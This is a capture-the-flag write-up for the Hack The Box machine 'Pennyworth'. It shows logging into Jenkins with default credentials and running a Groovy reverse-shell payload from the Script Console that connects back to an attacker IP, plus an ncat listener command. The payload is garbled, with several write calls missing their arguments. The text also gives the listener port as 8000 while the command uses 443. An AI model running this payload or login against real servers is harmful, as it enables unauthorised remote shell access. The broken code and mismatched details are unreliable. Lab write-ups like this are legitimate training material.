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Pennyworth: Remote command execution vulnerability

posted on 3.6.2023 by Below Surface in "Hack The Box"

Port scan first, exchange ip with your machines IP address.

sudo nmap -sV ip

Relevant output:

8080/tcp open  http    Jetty 9.4.39.v20210325

Let's paste the IP address with port 8080 into our browser:


Since Jenkins is running on this system, we search for default credentials on Google. Working credentials are

Username: root
Password: password

After researching if there are any known CVE's for this version of Jenkins, we know that there are none. Though we also found a GitHub repository (link below) for Jenkins pentesting. We will try to run Groovy script code in the Jenkins Script Console. On the website, navigate to "Manage Jenkins" and then scroll down to "Script Console". Our goal is to receive a reverse shell connection from the target server. For this we need to exploit a remote command execution vulnerability first. And our attack surface for this is the Groovy Script Console.

From the below linked GitHub repository (swisskyrepo) we get the following payload, where we just need to insert the IP address of our local attack machine. Get your IP by:

ifconfig tun0

It is the inet one. Insert it into this script (first line):

String host="ip";
int port=443;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(;while(pe.available()>0)so.write(; while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

But before we paste and run this in the Script Console, we need to fire up Ncat on port 8000 on our local machine:

ncat -lvnp 443

Expected output:

Ncat: Version 7.93 ( )
Ncat: Listening on :::443
Ncat: Listening on

Now, run code from above in the Script Console and watch the Ncat console window.


Ncat: Connection from
Ncat: Connection from

Running the command within the Netcat window:




So we run this two commands to output the flag!

cd /root
cat flag.txt


hack the box
remote code execution
default credentials


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